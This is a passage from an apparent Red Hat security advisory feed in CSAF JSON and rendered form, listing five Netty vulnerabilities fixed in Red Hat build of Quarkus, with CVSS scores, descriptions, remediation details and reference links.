"title": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers"
},
{
"cve": "CVE-2026-42584",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:01:51.846351+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477224"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A flaw in Netty\u0027s HttpClientCodec allows a remote attacker to cause data confusion. By sending a specially crafted sequence of HTTP responses, an attacker can cause subsequent HTTP responses to be parsed incorrectly, potentially leading to information disclosure or data integrity issues in applications utilizing Netty for HTTP client operations. This vulnerability affects various Red Hat products that bundle Netty, including Red Hat AMQ, Enterprise Application Platform, Red Hat Build of Quarkus, and Red Hat Build of Keycloak.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42584"
},
{
"category": "external",
"summary": "RHBZ#2477224",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477224"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42584",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42584"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
}
],
"release_date": "2026-05-13T18:10:48.437000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion"
},
{
"cve": "CVE-2026-42587",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-05-13T19:01:35.415881+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477220"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service vulnerability in Netty\u0027s HTTP content decompression. A remote attacker can exploit this flaw by sending specially crafted compressed payloads using Brotli, Zstandard, or Snappy encodings, bypassing configured decompression limits. This leads to unbounded memory allocation, potentially causing an out-of-memory condition and rendering affected Red Hat systems unavailable.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"category": "external",
"summary": "RHBZ#2477220",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42587"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"release_date": "2026-05-13T18:22:21.699000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression"
}
]
}
RHSA-2026:24502
Vulnerability from csaf_redhat - Published: 2026-06-10 12:09 - Updated: 2026-08-21 05:55Summary
Red Hat Security Advisory: Red Hat build of Quarkus 3.33.2 release and security update
Severity
Important
Notes
Topic: An update is now available for Red Hat build of Quarkus.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.
Details: This release of Red Hat build of Quarkus 3.33.2 includes the following CVE fixes:
* netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation [quarkus-3.33] (CVE-2026-42578)
* netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers [quarkus-3.33] (CVE-2026-42581)
* netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion [quarkus-3.33] (CVE-2026-42584)
* netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.33] (CVE-2026-42587)
* netty-codec-dns: Netty: High integrity impact due to improper DNS domain name constraint enforcement [quarkus-3.33] (CVE-2026-42579)
For more information, see the release notes page listed in the References section.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty. Netty's DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.
7.2 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.
7.3 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
107 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:24502 | self |
| https://access.redhat.com/security/updates/classi… | external |
| https://access.redhat.com/products/quarkus/ | external |
| https://access.redhat.com/jbossnetwork/restricted… | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://issues.redhat.com/browse/QUARKUS-7634 | external |
| https://issues.redhat.com/browse/QUARKUS-7635 | external |
| https://issues.redhat.com/browse/QUARKUS-7636 | external |
| https://issues.redhat.com/browse/QUARKUS-7637 | external |
| https://issues.redhat.com/browse/QUARKUS-7638 | external |
| https://issues.redhat.com/browse/QUARKUS-7639 | external |
| https://issues.redhat.com/browse/QUARKUS-7640 | external |
| https://issues.redhat.com/browse/QUARKUS-7641 | external |
| https://issues.redhat.com/browse/QUARKUS-7642 | external |
| https://issues.redhat.com/browse/QUARKUS-7643 | external |
| https://issues.redhat.com/browse/QUARKUS-7644 | external |
| https://issues.redhat.com/browse/QUARKUS-7645 | external |
| https://issues.redhat.com/browse/QUARKUS-7646 | external |
| https://issues.redhat.com/browse/QUARKUS-7647 | external |
| https://issues.redhat.com/browse/QUARKUS-7648 | external |
| https://issues.redhat.com/browse/QUARKUS-7649 | external |
| https://issues.redhat.com/browse/QUARKUS-7650 | external |
| https://issues.redhat.com/browse/QUARKUS-7651 | external |
| https://issues.redhat.com/browse/QUARKUS-7652 | external |
| https://issues.redhat.com/browse/QUARKUS-7653 | external |
| https://issues.redhat.com/browse/QUARKUS-7654 | external |
| https://issues.redhat.com/browse/QUARKUS-7655 | external |
| https://issues.redhat.com/browse/QUARKUS-7656 | external |
| https://issues.redhat.com/browse/QUARKUS-7657 | external |
| https://issues.redhat.com/browse/QUARKUS-7658 | external |
| https://issues.redhat.com/browse/QUARKUS-7659 | external |
| https://issues.redhat.com/browse/QUARKUS-7660 | external |
| https://issues.redhat.com/browse/QUARKUS-7661 | external |
| https://issues.redhat.com/browse/QUARKUS-7666 | external |
| https://issues.redhat.com/browse/QUARKUS-7686 | external |
| https://issues.redhat.com/browse/QUARKUS-7727 | external |
| https://issues.redhat.com/browse/QUARKUS-7728 | external |
| https://issues.redhat.com/browse/QUARKUS-7729 | external |
| https://issues.redhat.com/browse/QUARKUS-7730 | external |
| https://issues.redhat.com/browse/QUARKUS-7731 | external |
| https://issues.redhat.com/browse/QUARKUS-7732 | external |
| https://issues.redhat.com/browse/QUARKUS-7733 | external |
| https://issues.redhat.com/browse/QUARKUS-7734 | external |
| https://issues.redhat.com/browse/QUARKUS-7735 | external |
| https://issues.redhat.com/browse/QUARKUS-7736 | external |
| https://issues.redhat.com/browse/QUARKUS-7737 | external |
| https://issues.redhat.com/browse/QUARKUS-7738 | external |
| https://issues.redhat.com/browse/QUARKUS-7739 | external |
| https://issues.redhat.com/browse/QUARKUS-7740 | external |
| https://issues.redhat.com/browse/QUARKUS-7741 | external |
| https://issues.redhat.com/browse/QUARKUS-7742 | external |
| https://issues.redhat.com/browse/QUARKUS-7743 | external |
| https://issues.redhat.com/browse/QUARKUS-7744 | external |
| https://issues.redhat.com/browse/QUARKUS-7745 | external |
| https://issues.redhat.com/browse/QUARKUS-7746 | external |
| https://issues.redhat.com/browse/QUARKUS-7747 | external |
| https://issues.redhat.com/browse/QUARKUS-7748 | external |
| https://issues.redhat.com/browse/QUARKUS-7749 | external |
| https://issues.redhat.com/browse/QUARKUS-7750 | external |
| https://issues.redhat.com/browse/QUARKUS-7751 | external |
| https://issues.redhat.com/browse/QUARKUS-7752 | external |
| https://issues.redhat.com/browse/QUARKUS-7753 | external |
| https://issues.redhat.com/browse/QUARKUS-7754 | external |
| https://issues.redhat.com/browse/QUARKUS-7783 | external |
| https://issues.redhat.com/browse/QUARKUS-7784 | external |
| https://issues.redhat.com/browse/QUARKUS-7785 | external |
| https://issues.redhat.com/browse/QUARKUS-7786 | external |
| https://issues.redhat.com/browse/QUARKUS-7787 | external |
| https://issues.redhat.com/browse/QUARKUS-7788 | external |
| https://issues.redhat.com/browse/QUARKUS-7789 | external |
| https://issues.redhat.com/browse/QUARKUS-7790 | external |
| https://issues.redhat.com/browse/QUARKUS-7791 | external |
| https://issues.redhat.com/browse/QUARKUS-7795 | external |
| https://issues.redhat.com/browse/QUARKUS-7796 | external |
| https://issues.redhat.com/browse/QUARKUS-7797 | external |
| https://issues.redhat.com/browse/QUARKUS-7798 | external |
| https://issues.redhat.com/browse/QUARKUS-7799 | external |
| https://issues.redhat.com/browse/QUARKUS-7810 | external |
| https://issues.redhat.com/browse/QUARKUS-7811 | external |
| https://issues.redhat.com/browse/QUARKUS-7843 | external |
| https://issues.redhat.com/browse/QUARKUS-7863 | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2026-42578 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477226 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42578 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42578 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42579 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477217 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42579 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42579 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42581 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477232 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42581 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42581 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42584 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477224 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42584 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42584 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42587 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477220 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42587 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42587 | external |
| https://github.com/netty/netty/security/advisorie… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update is now available for Red Hat build of Quarkus.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.",
"title": "Topic"
},
{
"category": "general",
"text": "This release of Red Hat build of Quarkus 3.33.2 includes the following CVE fixes:\n\n* netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation [quarkus-3.33] (CVE-2026-42578)\n\n* netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers [quarkus-3.33] (CVE-2026-42581)\n\n* netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion [quarkus-3.33] (CVE-2026-42584)\n\n* netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.33] (CVE-2026-42587)\n\n* netty-codec-dns: Netty: High integrity impact due to improper DNS domain name constraint enforcement [quarkus-3.33] (CVE-2026-42579)\n\nFor more information, see the release notes page listed in the References section.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:24502",
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/#important",
"url": "https://access.redhat.com/security/updates/classification/#important"
},
{
"category": "external",
"summary": "https://access.redhat.com/products/quarkus/",
"url": "https://access.redhat.com/products/quarkus/"
},
{
"category": "external",
"summary": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.33.2",
"url": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.33.2"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.33",
"url": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.33"
},
{
"category": "external",
"summary": "QUARKUS-7634",
"url": "https://issues.redhat.com/browse/QUARKUS-7634"
},
{
"category": "external",
"summary": "QUARKUS-7635",
"url": "https://issues.redhat.com/browse/QUARKUS-7635"
},
{
"category": "external",
"summary": "QUARKUS-7636",
"url": "https://issues.redhat.com/browse/QUARKUS-7636"
},
{
"category": "external",
"summary": "QUARKUS-7637",
"url": "https://issues.redhat.com/browse/QUARKUS-7637"
},
{
"category": "external",
"summary": "QUARKUS-7638",
"url": "https://issues.redhat.com/browse/QUARKUS-7638"
},
{
"category": "external",
"summary": "QUARKUS-7639",
"url": "https://issues.redhat.com/browse/QUARKUS-7639"
},
{
"category": "external",
"summary": "QUARKUS-7640",
"url": "https://issues.redhat.com/browse/QUARKUS-7640"
},
{
"category": "external",
"summary": "QUARKUS-7641",
"url": "https://issues.redhat.com/browse/QUARKUS-7641"
},
{
"category": "external",
"summary": "QUARKUS-7642",
"url": "https://issues.redhat.com/browse/QUARKUS-7642"
},
{
"category": "external",
"summary": "QUARKUS-7643",
"url": "https://issues.redhat.com/browse/QUARKUS-7643"
},
{
"category": "external",
"summary": "QUARKUS-7644",
"url": "https://issues.redhat.com/browse/QUARKUS-7644"
},
{
"category": "external",
"summary": "QUARKUS-7645",
"url": "https://issues.redhat.com/browse/QUARKUS-7645"
},
{
"category": "external",
"summary": "QUARKUS-7646",
"url": "https://issues.redhat.com/browse/QUARKUS-7646"
},
{
"category": "external",
"summary": "QUARKUS-7647",
"url": "https://issues.redhat.com/browse/QUARKUS-7647"
},
{
"category": "external",
"summary": "QUARKUS-7648",
"url": "https://issues.redhat.com/browse/QUARKUS-7648"
},
{
"category": "external",
"summary": "QUARKUS-7649",
"url": "https://issues.redhat.com/browse/QUARKUS-7649"
},
{
"category": "external",
"summary": "QUARKUS-7650",
"url": "https://issues.redhat.com/browse/QUARKUS-7650"
},
{
"category": "external",
"summary": "QUARKUS-7651",
"url": "https://issues.redhat.com/browse/QUARKUS-7651"
},
{
"category": "external",
"summary": "QUARKUS-7652",
"url": "https://issues.redhat.com/browse/QUARKUS-7652"
},
{
"category": "external",
"summary": "QUARKUS-7653",
"url": "https://issues.redhat.com/browse/QUARKUS-7653"
},
{
"category": "external",
"summary": "QUARKUS-7654",
"url": "https://issues.redhat.com/browse/QUARKUS-7654"
},
{
"category": "external",
"summary": "QUARKUS-7655",
"url": "https://issues.redhat.com/browse/QUARKUS-7655"
},
{
"category": "external",
"summary": "QUARKUS-7656",
"url": "https://issues.redhat.com/browse/QUARKUS-7656"
},
{
"category": "external",
"summary": "QUARKUS-7657",
"url": "https://issues.redhat.com/browse/QUARKUS-7657"
},
{
"category": "external",
"summary": "QUARKUS-7658",
"url": "https://issues.redhat.com/browse/QUARKUS-7658"
},
{
"category": "external",
"summary": "QUARKUS-7659",
"url": "https://issues.redhat.com/browse/QUARKUS-7659"
},
{
"category": "external",
"summary": "QUARKUS-7660",
"url": "https://issues.redhat.com/browse/QUARKUS-7660"
},
{
"category": "external",
"summary": "QUARKUS-7661",
"url": "https://issues.redhat.com/browse/QUARKUS-7661"
},
{
"category": "external",
"summary": "QUARKUS-7666",
"url": "https://issues.redhat.com/browse/QUARKUS-7666"
},
{
"category": "external",
"summary": "QUARKUS-7686",
"url": "https://issues.redhat.com/browse/QUARKUS-7686"
},
{
"category": "external",
"summary": "QUARKUS-7727",
"url": "https://issues.redhat.com/browse/QUARKUS-7727"
},
{
"category": "external",
"summary": "QUARKUS-7728",
"url": "https://issues.redhat.com/browse/QUARKUS-7728"
},
{
"category": "external",
"summary": "QUARKUS-7729",
"url": "https://issues.redhat.com/browse/QUARKUS-7729"
},
{
"category": "external",
"summary": "QUARKUS-7730",
"url": "https://issues.redhat.com/browse/QUARKUS-7730"
},
{
"category": "external",
"summary": "QUARKUS-7731",
"url": "https://issues.redhat.com/browse/QUARKUS-7731"
},
{
"category": "external",
"summary": "QUARKUS-7732",
"url": "https://issues.redhat.com/browse/QUARKUS-7732"
},
{
"category": "external",
"summary": "QUARKUS-7733",
"url": "https://issues.redhat.com/browse/QUARKUS-7733"
},
{
"category": "external",
"summary": "QUARKUS-7734",
"url": "https://issues.redhat.com/browse/QUARKUS-7734"
},
{
"category": "external",
"summary": "QUARKUS-7735",
"url": "https://issues.redhat.com/browse/QUARKUS-7735"
},
{
"category": "external",
"summary": "QUARKUS-7736",
"url": "https://issues.redhat.com/browse/QUARKUS-7736"
},
{
"category": "external",
"summary": "QUARKUS-7737",
"url": "https://issues.redhat.com/browse/QUARKUS-7737"
},
{
"category": "external",
"summary": "QUARKUS-7738",
"url": "https://issues.redhat.com/browse/QUARKUS-7738"
},
{
"category": "external",
"summary": "QUARKUS-7739",
"url": "https://issues.redhat.com/browse/QUARKUS-7739"
},
{
"category": "external",
"summary": "QUARKUS-7740",
"url": "https://issues.redhat.com/browse/QUARKUS-7740"
},
{
"category": "external",
"summary": "QUARKUS-7741",
"url": "https://issues.redhat.com/browse/QUARKUS-7741"
},
{
"category": "external",
"summary": "QUARKUS-7742",
"url": "https://issues.redhat.com/browse/QUARKUS-7742"
},
{
"category": "external",
"summary": "QUARKUS-7743",
"url": "https://issues.redhat.com/browse/QUARKUS-7743"
},
{
"category": "external",
"summary": "QUARKUS-7744",
"url": "https://issues.redhat.com/browse/QUARKUS-7744"
},
{
"category": "external",
"summary": "QUARKUS-7745",
"url": "https://issues.redhat.com/browse/QUARKUS-7745"
},
{
"category": "external",
"summary": "QUARKUS-7746",
"url": "https://issues.redhat.com/browse/QUARKUS-7746"
},
{
"category": "external",
"summary": "QUARKUS-7747",
"url": "https://issues.redhat.com/browse/QUARKUS-7747"
},
{
"category": "external",
"summary": "QUARKUS-7748",
"url": "https://issues.redhat.com/browse/QUARKUS-7748"
},
{
"category": "external",
"summary": "QUARKUS-7749",
"url": "https://issues.redhat.com/browse/QUARKUS-7749"
},
{
"category": "external",
"summary": "QUARKUS-7750",
"url": "https://issues.redhat.com/browse/QUARKUS-7750"
},
{
"category": "external",
"summary": "QUARKUS-7751",
"url": "https://issues.redhat.com/browse/QUARKUS-7751"
},
{
"category": "external",
"summary": "QUARKUS-7752",
"url": "https://issues.redhat.com/browse/QUARKUS-7752"
},
{
"category": "external",
"summary": "QUARKUS-7753",
"url": "https://issues.redhat.com/browse/QUARKUS-7753"
},
{
"category": "external",
"summary": "QUARKUS-7754",
"url": "https://issues.redhat.com/browse/QUARKUS-7754"
},
{
"category": "external",
"summary": "QUARKUS-7783",
"url": "https://issues.redhat.com/browse/QUARKUS-7783"
},
{
"category": "external",
"summary": "QUARKUS-7784",
"url": "https://issues.redhat.com/browse/QUARKUS-7784"
},
{
"category": "external",
"summary": "QUARKUS-7785",
"url": "https://issues.redhat.com/browse/QUARKUS-7785"
},
{
"category": "external",
"summary": "QUARKUS-7786",
"url": "https://issues.redhat.com/browse/QUARKUS-7786"
},
{
"category": "external",
"summary": "QUARKUS-7787",
"url": "https://issues.redhat.com/browse/QUARKUS-7787"
},
{
"category": "external",
"summary": "QUARKUS-7788",
"url": "https://issues.redhat.com/browse/QUARKUS-7788"
},
{
"category": "external",
"summary": "QUARKUS-7789",
"url": "https://issues.redhat.com/browse/QUARKUS-7789"
},
{
"category": "external",
"summary": "QUARKUS-7790",
"url": "https://issues.redhat.com/browse/QUARKUS-7790"
},
{
"category": "external",
"summary": "QUARKUS-7791",
"url": "https://issues.redhat.com/browse/QUARKUS-7791"
},
{
"category": "external",
"summary": "QUARKUS-7795",
"url": "https://issues.redhat.com/browse/QUARKUS-7795"
},
{
"category": "external",
"summary": "QUARKUS-7796",
"url": "https://issues.redhat.com/browse/QUARKUS-7796"
},
{
"category": "external",
"summary": "QUARKUS-7797",
"url": "https://issues.redhat.com/browse/QUARKUS-7797"
},
{
"category": "external",
"summary": "QUARKUS-7798",
"url": "https://issues.redhat.com/browse/QUARKUS-7798"
},
{
"category": "external",
"summary": "QUARKUS-7799",
"url": "https://issues.redhat.com/browse/QUARKUS-7799"
},
{
"category": "external",
"summary": "QUARKUS-7810",
"url": "https://issues.redhat.com/browse/QUARKUS-7810"
},
{
"category": "external",
"summary": "QUARKUS-7811",
"url": "https://issues.redhat.com/browse/QUARKUS-7811"
},
{
"category": "external",
"summary": "QUARKUS-7843",
"url": "https://issues.redhat.com/browse/QUARKUS-7843"
},
{
"category": "external",
"summary": "QUARKUS-7863",
"url": "https://issues.redhat.com/browse/QUARKUS-7863"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_24502.json"
}
],
"title": "Red Hat Security Advisory: Red Hat build of Quarkus 3.33.2 release and security update",
"tracking": {
"current_release_date": "2026-08-21T05:55:51+00:00",
"generator": {
"date": "2026-08-21T05:55:51+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.16"
}
},
"id": "RHSA-2026:24502",
"initial_release_date": "2026-06-10T12:09:05+00:00",
"revision_history": [
{
"date": "2026-06-10T12:09:05+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-06-11T12:08:18+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-21T05:55:51+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
